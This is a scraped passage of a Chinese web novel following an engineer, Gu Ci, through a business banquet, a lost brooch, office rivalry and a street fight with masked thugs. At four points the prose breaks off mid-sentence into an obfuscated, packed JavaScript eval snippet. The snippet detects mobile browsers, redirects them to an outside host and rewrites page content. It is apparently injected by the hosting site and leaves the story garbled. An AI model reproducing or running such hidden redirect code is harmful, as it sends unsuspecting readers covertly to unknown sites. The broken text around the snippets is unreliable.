顾词定的这班飞机是有氧机舱，在安静的环境下很容易产生困乏的感觉。他从上了飞机就开始昏昏欲睡，不知不觉脑袋竟滑到了黎远的肩膀上。 黎远看着落在自己肩头的黑色脑袋，不自觉扬起一抹似有似无的笑。 男人身上有一股浅淡的乌木雪松的香气，这个味道仿佛有种魔力，给人一种很心安的感觉。 黎远的注意力有些不集中，突然，一个戴着黑色棒球帽，穿着灰色卫衣卫裤的男生从过道经过。那人个子很高，目测有一米九，从过道经过的时候堪堪撞到顾词的小腿上！ 黎远感觉肩膀上重量一轻，顾词已经坐直了身体。 只见男人睡眼朦胧，眼神中还带着没有完全清醒的迷离和懵懂，对黎远道歉： “抱歉黎总，我……我……刚才不小心睡着了……” 不知道是不是看错了，顾词觉得黎远的神态似乎有些失落。 男人道：“没事。” 左边的小腿有些吃痛，顾词偷偷揉了一下。 “还有一个小时就落地了，”黎远继续看电脑屏幕上的报表，“晚上六点要参加晚宴，记得穿上西装。” 黎远几天前给顾词发过一个文档，将出差的注意事项一一交代过。顾词离家前反复确认了，绝对不可能出错。 “我知道的。” 黎远满意地点点头，他是典型的TJ型人格，有厌蠢症，最讨厌关键时刻掉链子的人。 顾词把他交代过的事情全部铭记于心，没有出现理解错误和粗心的情况。 这一点，黎远很满意。 等到下了飞机，顾词感觉两只腿麻的快没有知觉了。 顾词在机场打了一辆车，汽车将两人送到酒店。 顾词定了两间酒店，酒店挨在一起，方便他随时和黎远沟通工作上的事情。 距离晚上的宴会还有一段时间，顾词在酒店里洗了个澡准备短暂休息一下。 “嘟嘟”。放在床上的手机传来一声机械的提示音。 顾词一看，是陈星的头像，他心里有些慌，因为忘记跟对方说自己已经顺利落地了。 【陈星：晚上的宴会几点开始】 顾词一看，没想到对方跳过了这一茬，仿佛早就知道他已经到酒店了。 【顾词：六点开始】 他有些奇怪对方问这些信息干什么。 【陈星：OK】 然后没有了消息。 顾词在酒店里的冰箱里找到一瓶矿泉水，拧开瓶盖，往干燥的嗓子眼里猛灌了几口，喉结上下滑动。 洗完澡整个人都是热的，顾词抹掉唇上的水，白皙的脸上浮着樱桃般的薄红。 这家酒店是五星级酒店，屋内装饰淡雅，整体按照日式侘寂风装修，是顾词喜欢的风格。 顾词定了个闹钟，躺在床上休息了一会儿。 下午五点，他的手机闹钟准时响起。 顾词差不多也休息好了，在盥洗台前简单清洗了一下，穿上早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这周一定要有结果，否则我就换别的供应商送样了，希望相互之间可以理解，我这边交期也是有绩效要求的。” 黎远说：“我会和下面的人说的，肯定在保证质量的前提下满足贵司的交期需求。” 江起峰看了一眼他旁边的男人，问：“这位是？” 顾词连忙上前递上自己的名片，笑道：“江总您好，我是星云的研发工程师，顾词。” 江起峰看着名片，抬起眼眸问：“你就是顾词？我记得你的名字。” “是我的荣幸。”顾词彬彬有礼地和男人握了握手，指尖接触的瞬间轻轻移开，保持着礼貌的社交距离。 江起峰明显对他起了兴趣，脸上多了层不透明的笑：“之前你在邮件里跟我沟通过，感觉是很有礼貌的人。” 没想到本人长相这么优越，江起峰工作多年，在业内从来没见过这么好看的人。 黎远叫住了身旁的服务员，从服务员手里的托盘上拿起一个高脚杯。杯中红酒荡漾，氤氲着淡淡的酒香。 “来，江总，我敬你。”黎远和江起峰碰杯，维持着谦卑的社交礼仪。 顾词手伸到服务员的托盘上，服务员的托盘正巧向别处偏移，他只能拿到托盘最边缘的那杯红酒。 他留意了一眼，发现这个服务员戴着口罩，整张脸几乎被完全遮住，头上还戴着帽子。对方身形高大，体型轮廓给人一种莫名的熟悉感…… 不过，那种奇怪的感觉转瞬即逝，没等顾词求证完毕，服务员就举着托盘走到别处。 顾词学着黎远的样子，擎着酒杯与男人碰杯，“江总，以后还请多多指教。” 嘴唇刚碰到杯中的液体，顾词清亮的瞳眸中闪过一道疑惑。 杯中的液体入喉甘甜，裹挟着酸酸的口感，丝毫没有辛辣的感觉。 为何喝着，有股果汁的味道…… 12. 第十二章 黎远注意到他的表情，关心地问：“怎么了？” 顾词摇了摇头，“没什么。” 江起峰饶有兴趣地问：“你是今年刚毕业的吗？看着很年轻。” 顾词点点头：“是的。” “咦？我记得星云的员工也是有六个月试用期，那你还没转正吧？”江起峰又喝了一口酒，转向黎远，“黎总，星云的转正要求应该很严格吧？你觉得顾工能转正吗？” 所有人都带着笑看向黎远，黎远笑了笑，语气非常笃定：“当然，他是一定可以转正的。” 顾词没想到黎远居然能这样说，因为这种行为在公司内部的程序中，是不满足要求的。 试用期的员工必须经过转正述职，通过后才能确认转正。 黎远现在的行为，相当于是跨过公司流程，直接私下给他“盖章”了。 大厂内的流程基本都差不多，江起峰自然也明白这里面的机关要义，语气带着调侃：“顾工，看样子你的领导蛮看重你的，千万别辜负了他的爱重。” 顾词笑了笑，“那是当然。” · 酒店门口，一个服务员模样的人摘掉脸上的口罩，呼吸了几口新鲜空气。 男人放在口袋里的手机突然唱起歌，辰星烁掏出手机，贴在耳边。 方凯的声音从手机里炸开：“你去哪里了？给你打了好几个电话都没人接！” 辰星烁道：“我再忙。” “你忙个der啊？！你一个离家出走的人到底有啥可忙的？！我都被我爸妈叫回去上班去了，我都没你忙！” 辰星烁看了一眼一楼宴会厅内来来往往的衣香鬓影，把口罩丢到垃圾桶内。 “我是真的忙，忙着看人呢。” “你看谁？看家还差不多！”方凯语气依旧暴躁，“哥们想找你吃个饭都约不到时间，你出场费这么高啊。我发现自从你离家出走之后人都变了，再也不是我的好兄弟了。” 辰星烁语气不耐烦地说：“得了，别婆婆妈妈的了。我现在真的没时间，我都不在A市。” 电话那边疑惑道：“那你在哪里？” “你不用管，我估计后天才能回去。” “行行行，我是看出来了，你确实忙——” 辰星烁看到顾词离开了黎远等人，直接挂断了电话，重新在口袋里摸出一个黑色口罩，长腿朝宴会大厅的方向走。 . 卫生间内，顾词挽起衣袖，将手放在水龙头下清洗。潺潺的流水穿过他的手指，分成几股细小的流水。光可鉴人的大理石台面上倒映着男人清晰的面容和得体的着装。 一尘不染的镜子上，清晰映照着顾词胸口别着的一枚白玉兰花胸针。胸针上镶嵌着钻石，在灯光下折射着璀璨的亮光。 男人微微躬身，洗完手从纸盒中抽出一张纸，擦掉手上的水渍，对着镜子整理了一下领带和胸口的胸针。 突然，一个男人从镜子前冒出——是江起峰。 男人因为喝了酒，脸上起了薄红，声音中明显可以听出来有了醉意。 江起峰看向镜子里的人，笑道：“顾工，没想到你酒量这么好。” 顾词语气沉稳：“还好。” 他不能说其实他喝的是果汁。 “之前没见过你，可能在邮件沟通过程中多有得罪，希望你不要介意。” 顾词笑了笑，语气不卑不亢：“江总，您多虑了。我不记得您之前在沟通过程中有什么问题，您也是就事论事。” 江起峰顿了顿，“顾工情商真高，怪不得黎总这么喜欢你。” “您夸赞了。” 江起峰突然压低语气，“别说黎总喜欢你了，就连我——” 男人话还没说完，一个高大的身影突然从两人中间穿过，重重撞了一下江起峰的肩膀。 顾词闻到一股熟悉的味道，和自己家里的洗衣凝珠的味道很像，都是乌木雪松的味道，不过浅淡许多。 他目光追随而去，那人动作很快，关上了隔间的门，顾词只看到那人一副服务员的着装，其余的没看清楚。 江起峰脾气上来了，怒道：“走路不长眼啊，撞到人连个‘对不起’都没有。” 顾词忙道：“江总，要不我送您回去。” 江起峰收敛起面上的怒容，笑了笑：“好，谢谢。” 等两人离开后，辰星烁走出卫生间隔间，运动鞋踩在华丽的地毯上。 他目光向下，看到地毯上有一个东西闪着光芒，十分夺目。 是一枚白色的玉兰花胸针。 · 回到宴会，黎远正准备找顾词，看到他和江起峰一起过来，问：“词，怎么出去这么久？” 顾词声线平稳：“刚才遇到了江总，和江总聊了一会儿。” 江起峰道：“对，我和顾工聊了一会儿，你不会介意吧？” 黎远笑声爽朗：“江总您这是什么话，我怎么会介意？实不相瞒，看到你这么喜欢顾词，我高兴来还不及。” 江起峰放声大笑，“还是黎总有格局，来，我们再碰个杯！” 他又重新拿了一杯酒，举起酒杯，和黎远碰杯：“ Cheers！” 黎远道：“Cheers！希望星云和创奇的合作越来越顺利！” 酒过三巡，顾词每次拿到的“红酒”都是果汁伪装的。 他开始怀疑在场的每个人是不是拿到的都是果汁，只不过大家都没有说。 但是看到江起峰脸上的酡红和黎远渐渐缓慢的声线，顾词推翻了这个假设。 他们是真的醉了。 宴会散了之后，顾词和黎远把创奇的人员一一送到酒店，这才朝自己的房间走。 黎远酒量很好，刚才一直堪堪保持着清醒的大脑，但是随着酒精上头，脚步逐渐沉重，慢慢走不出习以为常的直线。 黎远和顾词往回走，在客户看不到的地方，黎远一只手扶着墙，胃里有东西在翻滚，让他十分难受。 顾词忙问：“黎总，您还好吗？” 黎远语气有些不稳：“不太好，头有些晕，感觉路面忽高忽低。” 顾词忙道：“那我扶着你。”说着将手放在黎远手肘上，帮对方维持着平衡。 黎远舌头已经有些打结：“谢……谢谢……” 顾词搀扶着男人，直到将黎远送回酒店。 打开门，黎远突然道：“你能帮我搞点醒酒茶吗？” 顾词没办法拒绝上司的要求，道：“好的，我去冰箱里看一下。” 黎远走入房间，一只手扯开脖子上的领带，丢到沙发上。 顾词径直朝冰箱走，打开柜门，冰箱内的冷光照在他身子上。 他在冰箱里面找到一个柠檬和几条袋装蜂蜜。不愧是五星级酒店，准备的东西都很齐全。 黎远脱掉了西装外套，露出雪白的衬衫，他看着正在用热水烧茶的顾词，问：“没想到你酒量还可以，我记得你面试的时候挺介意喝酒应酬这一块的，我还以为你酒量不好。” 顾词将烧好的水倒入杯子中，把切好的柠檬和蜂蜜倒进去，最后又加了些矿泉水防止液体过烫。 “我确实酒量不太好……”今天情况比较特殊。 他把做好的柠檬蜂蜜水递给男人，“黎总，给您。” 黎远接过，“谢谢。”他举杯一口喝掉了蜂蜜柠檬茶，感觉嗓子眼滑过温热、湿滑、甜腻的液体。 黎远看着顾词，语气中带着赞赏：“今天江总对你挺满意的。” “这算是目的达成吗？” 顾词身形笔直地站在地毯上，和宴会上在人前应酬的时候一样，保持着一致的礼貌。 黎远的目光从上到下在他身上逡巡，和上下打量的目光不同，更多的是对顾词的欣赏。 但顾词觉得不太舒服，两人的身份地位天然带着不对等的服从的成分，他很想走，到一个舒适的环境卸掉伪装。 顾词作为一个社畜，现在很想休息。 有如神助，门口突然传来咚咚的敲门声，声音粗暴蛮横，像是要砸门。 顾词和黎远都吓了一跳，顾词忙跑到门口，从猫眼向外望。 门外站着一个男人，男人戴着帽子，囿于视线的局限性，看不清对方的脸。 顾词隔着门问对方：“请问你是？” 门口的男人压低声音，含混不清地说：“抱歉，我跑错楼层了……” 那人似乎真的喝醉了，脚步踉跄着离开了门。 黎远拧眉：“居然能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276032|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯这种低级错误……” 顾词表示认同，道：“那黎总，您这边还有需要我做的事情吗？如果没有的话我就回房了？” 黎远道：“嗯，今天辛苦你了。“ · 回到顾词的房间，已经接近晚上十点。 顾词站在阳台的方向，吹了会儿夜风，感觉能量回来了一些。 从高楼俯瞰城市的夜景别有一番风味，夜晚蜿蜒的道路上行驶着车辆，像是这座城市血管里流动的细胞。 返回卧室，顾词坐在沙发上，给顾诗拨了一个电话。 顾诗最近在考试，他有些担心对方的成绩，想问一下。 电话很快被人接起，里面传来一道稚嫩的女声：“哥，我刚下晚自习，正想给你打电话呢。你今天工作忙不忙？到了那边有没有水土不服？” 顾词笑了笑，“我还好，这边空气比较干燥。你最近功课怎么样？有没有好好学习？” “当然有啊，我今天是班里最后一个走的人，上次摸底考试我还考了班级第二呢。” “很厉害，下次回来我带你去吃海鲜自助。” 那边声音立马兴奋起来，“好啊好啊，我今天上语文课的时候就在想什么时候有机会再去吃烤肉，我好想念五花肉。” 顾词笑道：“你就是个馋猫。” “我还得继续努力，要和哥哥考同一所大学。” “量力而行就行。” “嗯嗯，我知道。” 顾词想起今天发生的事情，对顾诗道：“今天一天我都蛮幸运的，应酬的时候拿到的都是果汁，成功蒙混过关。” “那就好，我听说有的人上班参加应酬因为喝酒喝到胃出血，我本来还担心你喝太多酒来着。” 实际上今天顾词滴酒未沾。 挂上电话，顾词准备换掉身上的正装洗个澡。 突然，他的目光停留在西装胸口的位置，心空了一瞬。 原本应该放着胸针的位置此时空空荡荡，凭空消失了一般。 顾词保持着冷静，这枚胸针是他毕业后送自己的礼物，价值上千元，虽说不是什么奢侈品，但于他来说也足够珍贵。 顾词脑海中将宴会的全程倒放了一遍，那些走马观花的场景历历在目，顾词记得最后一次看到胸针是在酒店的卫生间。 想及此，顾词立刻行动起来，换上鞋子朝目的地走。 沿着回来的轨迹，顾词一路看得格外认真，但都没找到胸针的身影。 顾词心中逐渐升起不好的感觉…… 宴会已经散场，酒店的工作人员在收拾“残局”，顾词站在角落里看着凌乱的宴席，目光搜寻的过程中看到一个熟悉的身影。 顾词以为自己眼睛花了，居然在这里看到了陈星。那人穿着便服，从大厅的另一边急速闪过，快得只留下模糊的残影。 顾词想了想，一定是他眼花了，因为陈星不可能在这里。 两座城市跨越一千公里，陈星没啥钱，估计路费都出不起。 找了差不多一个小时，顾词无功而返，只能找酒店的前台挂失，让工作人员帮忙寻找了一下。 他准备明天问一下黎远，也许胸针掉在了黎远的房间里…… 寻找的过程中，顾词已经做好了胸针丢失的心理准备，他觉得胸针大概率被人捡走了。 顾词的性格属于沉稳冷静的类型，对于已经发生的事情，能快速接受并作出调整。 回到酒店，他突然想起什么，在手机里调出“陈星”的联系方式。 【顾词：你在家里的吧】 几乎是秒回，顾词的手机收到了对方的消息。 【陈星：对，我准备睡觉了】 【顾词：那就好，你好好休息吧】 顾词拿着手机，愣了一会儿，又觉得自己实在太可笑了，脑袋里竟冒出一些奇怪的想法。 他赶紧洗了个澡，清洗掉身上的污浊气息，应酬了一天，仿佛灵魂都变沉重了。 洗完澡换上睡衣，顾词反而睡不着了。 “……”他觉得是喝了太多饮料的缘故。 大脑清醒后，顾词翻开手机，准备刷会儿手机。 进入界面，第一眼就看到家里摄像头的实时巡视APP。 13. 第十三章 顾词点开APP，想查看一下离家后家里的情况，突然，手机上跳出一个警示弹窗，硕大的红色感叹号赫然入目。 弹窗内写着：摄像头故障！ 顾词：“……” 果然是一分钱一分货，几十块钱的摄像头也不能奢求它能正常运行了。 第二天，顾词很早就起床，找黎远时讲了胸针丢失的事情。 “胸针？”黎远想了想，“我昨天注意到你佩戴了胸针，但是什么时候消失的确实没有什么印象。不知道有没有遗落在这里，可以找一下。” 顾词：“我昨天已经把去过的地方几乎都看了一遍，还让酒店的工作人员帮忙寻找，但都无功而返。我现在最担心的是有人捡到胸针拿走了。” 黎远在屋内四处翻了一下，确认并没有胸针的下落。 顾词轻叹一声：“丢了就丢了，就当破财消灾。” 黎远笑了笑，“没想到你还这么乐观，要不然我买一个一模一样的送你吧，谁让你是因为要陪我出差才弄丢了胸针。” 顾词摇摇头，“是我自己的失误，不用您破费。”再说了，鉴于两人的关系，私下里尽量避免一些非工作性的金钱往来，否则很容易留下祸根。 两人收拾好行李，乘坐电梯去大堂吃自助早餐。 没想到在大堂内碰到了一起吃早餐的江起峰他们。 江起峰很热情地邀请黎远和顾词和他们在一个桌子上进食。 “你们是几点的飞机？”江起峰为了表示关心，问。 “十一点。”黎远说。 “哦，那还好。”江起峰说，“不着急，这个酒店到机场打车也就要二十分钟。” “江总你们是怎么回去？”顾词问。 他知道星云科技股份有限公司总部就在这座城市，正常情况下不需要乘坐公共交通工具。 “我们开了公司里的车来的，驾车回去。”江起峰用勺子舀了一勺豆腐脑，颇有兴趣地问，“顾工你是从哪所大学毕业的？” “A大。”顾词回答。 “你是A大的？”江起峰似乎很震惊，“这不巧了么？我们团队里也有几个A大毕业的。” 他用手指了指身边的两个男生，“俞凯和沈启都是A大的，不过他们比你早几年毕业。” 俞凯是一个高鼻梁、丹凤眼的男生，看起来比顾词大几岁。他笑着道：“那我们算是从未谋面的师兄弟了。” “是我的荣幸。”顾词说。 · 从机场回到A市后还没到下班时间，顾词给同事们分发带回来的土特产——这些是他在起飞前在当地的商铺专门买的。 沈盏笑道：“你出去出个差都能想着我们，真是费心了。” 李琦春好奇地问：“你见到客户了吗？他们好相处吗？” 顾词说：“挺好相处的，都是年轻人，没有太多官僚主义。” 顾词走到赵海的工位，将一包包装精美的零食放到他的桌子上。赵海看都没看一眼，手里噼里啪啦打着字，装作很忙的样子。 他语气带着明显的不悦：“我不要，你拿走。” 顾词对赵海冷冰冰的回应没有防备，一时竟不知道该说什么好。 李琦春看不下去了，道：“赵工，你就收下吧，顾词也是一片心意。伸手不打笑脸人的道理，你应该懂吧。” 赵海脖子一梗，眉毛倒竖，一把推走顾词送的特产，塞到顾词怀中：“拿走！我不稀罕！” “算了，顾词，没必要把东西给不值得的人。”李琦春走到顾词身边，朝赵海翻了一个白眼。 顾词倒是无所谓，送礼物是他自愿，收礼物也随他人自愿，顾词没有强迫人的习惯。 顾词回到工位，收到黎远给他发的一个截图。 【黎远：按照这个步骤走一下报销流程】 【顾词：收到】 他之前从没有走过报销，看了一下这个流程，发现有很多不懂的地方。 李琦春去接水路过顾词的电脑，看到他在研究报销流程，站到他身边。 “你要报销出差费用是吧？” 顾词点点头：“对，以前没走过，感觉蛮复杂的。” 李琦春笑道：“我教你吧，其实也没有多难。” 沈盏揶揄她：“得了吧，你这叫‘唯手熟尔’。以前还不是财务一点一点教你，你才会的。你还记得你第一次走这个流程被财务退回来多少次吗？” 李琦春讪讪地笑：“沈工，你能不能别拆我的台，人家不要你管！” 顾词今天中午是在飞机上度过的，没有好好午休，他现在太阳穴都在发胀。 为了提神醒脑，顾词起身，准备去茶水间弄一杯咖啡。 不巧的是，在茶水间又碰到了赵海。 顾词：“……” 生动形象地诠释了什么叫冤家路窄。 顾词很清楚赵海对他的敌意，当他们两人进入公司后，就很清楚在这场名为“转正”的战役中，只有一个人能赢。 星云的制度就是这样设置的，被淘汰的那个人要么离开公司，要么经直属领导和转岗部门领导同意后转入其他岗位。 茶水间除了他们以外没有其他人，顾词走到咖啡机前启动咖啡机，一旁的赵海冷笑了一声。 “顾词，你不会真的以为自己手段很高明吧？” 顾词身形一顿，“手段？你在说什么？” 赵海眼睛死死盯着他：“你不要在我面前装啥充楞，我可不是黎总和李琦春他们。” 咖啡机内汩汩冒出咖啡液。 顾词说：“赵海，你有话不妨直说，拐弯抹角的大家都累。” “你以为我不知道黎总喜欢你什么吗？他不过是想睡——” 顾词“啪”得关上了咖啡机，声音中带着与平时截然不同的严肃。 “赵工，你作为完全民事行为能力人，要懂得为你的言行举止负责。” 他抬头看了一眼茶水间内的摄像头，示意赵海：“造谣的话，在星云是会被辞退的，你应该知道这个道理。” 赵海端着马克杯走到顾词身边，用只有他们两人能听到的声音说：“你不过是仗着有几分姿色，以为所有人都喜欢你，你根本不配待在星云！” 那声音仿佛淬了毒，字字句句扎在耳膜。 顾词咬紧牙关，将刚接的咖啡“失手”洒在赵海衣服上。 赵海被烫得直咧嘴，眉毛不是眉毛，眼睛不是眼睛，瞬间爆了粗口：“你TM——” 顾词笑得无辜，往日疏离清俊的脸上闪过一道十分刻意的心疼，“抱歉，不小心洒到你身上。” 随后长腿一迈，扬长而去，留下赵海把牙齿咬得咯吱作响，恨不得弄死顾词。 · 晚上回到家，顾词罕见地发现“陈星”不在家。 以往回家的时候，对方已经把饭菜做好了。 难道他也加班了？ 顾词换上家居服，开始在厨房忙碌，没多久，听到大门落锁的声音。 他从厨房探出脑袋，“陈星？你今天怎么这么晚才回来。” 年轻男人道：“今天公司加班了，我回来的就晚了一些。” 顾词问：“你们公司加班有加班费吗？” 男人语气疑惑：“还有公司加班没有加班费的吗？我以为所有公司都有加班费，要不然应该没人愿意加班。” 顾词：“你工作时间不长可能不知道实际情况，有很多公司加班都没有加班费。” “嗯，那我还算幸运，加班是有加班费的。” 顾词将做好的姜母鸭端到桌子上，“我下班之后在超市买了一只鸭子，今天突然想吃姜母鸭。” “闻着不错。”男人脱掉外套，挂在衣架上。 “对了，你买的摄像头好像坏了，可以联系厂家修一下。” 过了一会儿，顾词想起什么，问：“你这两天都在A市的吧？” 男人明显警觉起来，“当然，你怎么会突然问这个？” 顾词笑了笑，“没什么，我出差的时候看到一个很熟悉的身影，还以为在那边碰到了你。” 男人道：“一定是你看错了。” “嗯，我也觉得这个猜测太离谱。”顾词把盛着米饭的碗推到他面前，“快吃吧。这周我妹妹会回来，你有时间和我们一起去吃海鲜自助吗？” “有，我也好久没吃海鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾诗看着两位为她忙前忙后的男人，嘴角快咧到了后脑勺。 顾词见她在傻笑，问：“你在笑什么？” 顾诗拿起一片生菜，将一块烤肉蘸上酱料放到生菜片上，卷上之后塞进口中。 她嘴里吃着东西，声音含混不清地说：“我觉得自己是一个幸福的人，有两个大哥哥帮我烤肉。你说这世界上还有第二个比我幸福的人吗？没有了！嘿嘿！” 顾词把刚烤好的烤肉递到顾诗面前，“别吃太急，小心呛到。” 顾诗转头看向辰星烁，“星星哥哥，你真的就在这里住一个月吗？” 辰星烁往嘴里塞了一片烤肉：“按照我和你哥的约定，是这样的。我也不想打扰你哥哥太长时间。” 顾诗的表情有些沮丧，“唉，我还想着你如果能在哥哥家里多待一阵子，他就不寂寞了呢。我不喜欢他一个人宅在家里，感觉身上都要长蘑菇了。要是我能一直陪着哥哥就好了，这样他就不会胡思乱想。但是我得上学，以后读了高中，更没有什么时间陪哥哥了……” 顾词对辰星烁解释：“她总以为我一个人待在家里会无聊，其实我觉得还好，我有很多兴趣爱好。” 辰星烁笑道：“一个人很好，两个人更好，不是最好吗？” 顾词在口中塞了一份生菜包肉，表示同意：“没有错。” 他站起身，“我再去拿些五花肉，你们吃快点儿，要尽快把桌子上的食物消灭掉。” 顾诗拍拍胸脯，“你快去吧，包在我身上。” 辰星烁笑道：“你还是真是个大胃王。” 顾诗语气骄傲，“那可不！” 见顾词走远了，辰星烁用剪刀将螃蟹剪成两半，放到顾诗面前的碟子里。 “刚出锅的螃蟹，快吃吧。” 顾诗非常有礼貌地说：“谢谢！” 她用筷子蘸了一下爆浆的蟹黄，刚准备吃，就听到辰星烁突然压低声音，神神秘秘地问： “顾诗，我能偷偷问一个关于你哥的秘密吗？” 14. 第十四章 “你先说，我看一下能不能告诉你。”顾诗认真地说。 很好，是个不会把哥哥卖掉的好姑娘，辰星烁在心中给顾诗点了个赞。 “你哥哥之前上大学的时候，有没有跟人谈过恋爱？” 顾诗思考了一下，“据我所知是没有的，他收到不少情书，都直接丢掉了。” “这样啊。”辰星烁很满意这个回答，把刚烤好的烤肉放到盘子里，推到顾诗面前。 “你怎么突然想起问这个了？”顾诗眨巴着漂亮的眼睛问。 “和你哥哥相处这几周，我觉得他很受人欢迎。”辰星烁顿了顿，“总觉得他没有谈恋爱不太可信。” “这个毋庸置疑，我哥确实没谈恋爱。之前他上学的时候我在他书包里看到不少情书，但从来都没有拆开看过。” 辰星烁感觉顾诗应该没有骗他。 顾词拿着食物回来，“还没吃完吗？再不吃掉桌子上就没有位置放五花肉了。” “在吃了在吃了，”顾诗摇头晃脑地咀嚼着，“马上就把这些都消灭掉。” 辰星烁把另外一只螃蟹捞出来，放到顾词面前的碟子里，“这只也熟了，可以吃了。” 顾词“嗯”声，用夹子将韩式软肠放在烤盘上烤，“我挺喜欢这个软肠的。” “我尝一个试试。”辰星烁道。 顾词笑道：“好。” 三个人从自助餐馆出来的时候，天色已经很晚了，他们肚子都撑得鼓鼓的，感觉比去的时候重了好几斤。 顾词看着降下来的夜幕，道：“没想到我们吃了这么久，天都黑了。” 顾诗摸着肚子，满足地说：“哈哈吃饱饭真是一件幸福的事情。” 辰星烁看着两兄妹，被他们幸福的情绪感染，内心升起温暖的感觉。 以前他从来不会因为吃饱饭而感到幸福，因为辰星烁无论想吃什么都会有顶级厨师给他做。 当食欲可以被充分满足的时候，就会对食物产生钝感力。 这还是久违的一次，因为吃饱饭而感觉幸福。 辰星烁道：“走吧，我们一起回去。” 从餐厅到顾词家里的小区经过一个老街道，道路两边的路灯年久失修，灯泡因电压不稳不停闪动，走近能听到电流的滋滋声。 老街道两排都是老破小，里面住着老人，此刻路上一片阒静，连个人影都看不到。 拐角处一个黑暗的角落，顾词牵着妹妹的手走在前面，辰星烁站在顾诗旁边，两个男人像是姑娘的左右护法。地上的影子参差不齐，投在地面上像是一个不太工整的“凹”字。 忽然，身后传来窸窸窣窣的声响，辰星烁停下脚步，警觉地回头看了一眼。 顾词和顾诗停下来，问他：“怎么了？” 辰星烁转身，眉心却是拧着的，“总感觉身后有什么声音——” 话还没说完，顾词看到五个彪形大汉脸上包裹得严严实实，手里拎着棒球棍朝三人走来。 顾词的瞳孔遽然变大，一只手紧紧围住顾诗，冲辰星烁道：“后面有人！” 辰星烁原本心中就一直在敲鼓，看到顾词脸上的表情瞬间就意识到发生了什么事情。 他转身，对着几个来历不明的男人喝道：“你们想干什么？” 虽然不知道几个人具体的来历，但有一点可以确定，来者不善。 陌生男人道：“我们拿钱办事，没必要和你们说清楚。” 顾诗从来没见过这种场面，紧紧抱着顾词的腰，“哥哥，我有点儿害怕。” “你上次运动会八百米跑了第一名？”顾词低头问她。 顾诗回答：“第一名。” 顾词松开她的手，“现在，用你最快的速度朝家里跑！别回头！跑！” 顾诗听到哥哥的命令，立马跑起来，双马尾扬起，根本来不及回头。 一边跑一边在内心祈祷哥哥不要出事。 她知道自己唯一能做的就是找到一个安全的地方，不让顾词分心，这才是最大程度地帮助顾词脱困的手段。 如果她在顾词身边，只会成为顾词的弱点。 对面的一个男人见顾诗跑了，立马拎着棒球棍想去追，辰星烁和顾词拦住了他。 “找死！”蒙面男人道，举起棒球棍挥向顾词，顾词身形灵巧，躬身避过！ 辰星烁趁其不防备，一拳挥到对方鼻梁上！只听男人发出沉闷的一声痛呼，辰星烁从对方手中抢过棒球棍。 他毫不犹豫地把棒球棍甩给顾词，“接着！” 顾词身手敏捷，准确地接过棒球棍，冲面前的人挥舞了两下。 一个蒙面人蓄力冲上去，顾词一个闷棍下去，打在那人肩膀上。 另一个蒙面人看同伴受伤，举着棒球棍朝着顾词头上抡去！那架势完全不像是给顾词留活口的样子。 顾词原本想着不能出人命留着力，但是现在这个情况，他宁愿见法官也不能去见法医。 顾词之前读大学的时候是网球协会会长，最擅长抡球，虽然半年的社畜生活让他手法稍显生疏，但肌肉记忆足够强大。顾词一个挥球动作，棒球正打在蒙面男的脑门上！ 蒙面男一个回撤，脚步踉跄着朝后退了三四步，眼前金花直闪。 顾词分出心神看了一眼辰星烁，只见后者赤手空拳对上三个大汉的棒球棍，一副毫不畏惧的样子，活像一头受到威胁的猛兽。 见对付辰星烁有些吃力，三个大汉变换策略，把目标对上顾词。 辰星烁看出对方意图，吼道：“有什么本事冲我来！” 他伸出一只手拽住一个大汉，一个猛拉将那人推到地上！ 大汉中为首的人对辰星烁道：“劝你最好不要多管闲事，我们的目标不是你，你识相点儿，我们不找你的事！” 辰星烁冷笑：“你找他的事，就是在找我的事。” 顾词面对着明显不均衡的敌我水平，脸上沉稳，握在棒球棍上的手再次握紧。 两个男人一齐冲上去，顾词一棍子挡住其中一个男人的棒球棍！只听木头和木头重击的巨大声响，耳边响起木头碎裂的声音。 另一个男人趁着空隙，挥舞着木棍朝顾词后背挥去—— 顾词听到身后传来一声痛苦的闷哼，扭头看到辰星烁皱起的眉心。 “陈星！”顾词转头接住男人，眼神中充满关切。男人借着他的支撑，堪堪稳住身形。 辰星烁眼尾因为发怒红了一圈，内心中燃烧着一团火气，急需要宣泄。 他一脚踹到再次发起攻击的蒙面男人肚子上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276034|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙面男人丢了棒球棍倒在地上捂着肚子痛苦呻/吟。 辰星烁视力一向极好，一眼看到倒地的男人手腕上纹着一个五角星的青色纹身。 